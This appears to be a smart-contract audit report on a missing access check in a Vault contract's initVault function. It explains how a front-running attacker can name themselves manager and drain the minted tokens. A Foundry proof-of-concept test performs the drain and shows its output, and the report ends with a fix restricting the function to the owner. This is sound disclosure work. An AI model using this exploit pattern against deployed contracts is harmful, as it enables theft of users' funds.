Summary
Lack of access control will cause to attacker claiming all the tokens
Vulnerability Details
In Vault contract, there is initVault function, which takes loveToken and manager as input to initialize the vault. It will be used to be handle airdrop and staking rewards. (by deploying twice, one for staking rewards and other for airdrop).
Here is the function --
@> function initVault(ILoveToken loveToken, address managerContract) public {
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
If you check the highlighted line, the function is public, which means can be called by anyone. Attacker can monitor the mempool and call the initVault before owner to get tokens to himself. Once vault is initialized, no one can update the variables.
When vault is initialized, Here is what happens -
function initVault(address managerContract) public {
if (msg.sender == airdropVault) {
@> _mint(airdropVault, 500_000_000 ether);
@> approve(managerContract, 500_000_000 ether);
emit AirdropInitialized(managerContract);
} else if (msg.sender == stakingVault) {
@> _mint(stakingVault, 500_000_000 ether);
@> approve(managerContract, 500_000_000 ether);
emit StakingInitialized(managerContract);
} else revert LoveToken__Unauthorized();
}
500_000_000 love tokens minted to each vault, then vault tokens are approved to the manager, here manager is an input, which is in attacker control.
So he will input his address as manager and will be able to drain all the tokens from the vaults.
POC
In existing BaseTest.t.sol
remove or comment out following lines from setUp
airdropVault.initVault(
ILoveToken(address(loveToken)),
address(airdropContract)
)
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(stakingContract)
)
then create a following test function.
function testTokenDrainIfVaultInitializedByAttacker() public {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
uint256 balanceBeforeAttack = loveToken.balanceOf(attacker);
airdropVault.initVault(
ILoveToken(address(loveToken)),
address(attacker)
);
loveToken.transferFrom(address(airdropVault), attacker, 500_000_000 ether);
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(attacker)
);
loveToken.transferFrom(address(stakingVault), attacker, 500_000_000 ether);
uint256 balanceAfterAttack = loveToken.balanceOf(attacker);
console2.log("Love Token balance of the attacker before attack:", balanceBeforeAttack);
console2.log("aLove Token balance of the attacker after attack", balanceAfterAttack);
vm.stopPrank();
vm.startPrank(deployer);
vm.expectRevert();
airdropVault.initVault(
ILoveToken(address(loveToken)),
address(airdropContract)
);
vm.expectRevert();
stakingVault.initVault(
ILoveToken(address(loveToken)),
address(stakingContract)
);
}
When you run the following command in your terminal forge test --mt testTokenDrainIfVaultInitializedByAttacker -vv , it will return following logs
[⠢] Compiling...
[⠑] Compiling 4 files with 0.8.23
[⠘] Solc 0.8.23 finished in 2.52s
Running 1 test for test/unit/BaseTest.t.sol:BaseTest
[PASS] testTokenDrainIfVaultInitializedByAttacker() (gas: 183367)
Logs:
Love Token balance of the attacker before attack: 0
aLove Token balance of the attacker after attack 1000000000000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.80ms
It's recommended to restrict this function to be called by only owner.
Impact
Loss of love tokens, that are supposed to be given as airdrop and staking rewards.
Tools Used
Manual Review
Recommendations
Here are few recommendations, which can be implemented -
pragma solidity ^0.8.23;
import {ILoveToken} from "./interface/ILoveToken.sol";
/// @title Vault Contract.
/// @author n0kto
/// @notice 2 vaults will be created : one for airdrop and one for staking.
contract Vault {
//// existing code
+ error Vault_OnlyOwner();
+ address private owner;
+ constructor () {
+ owner = msg.sender;
+ }
function initVault(ILoveToken loveToken, address managerContract) public {
+ if(msg.sender != owner) revert Vault_OnlyOwner();
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
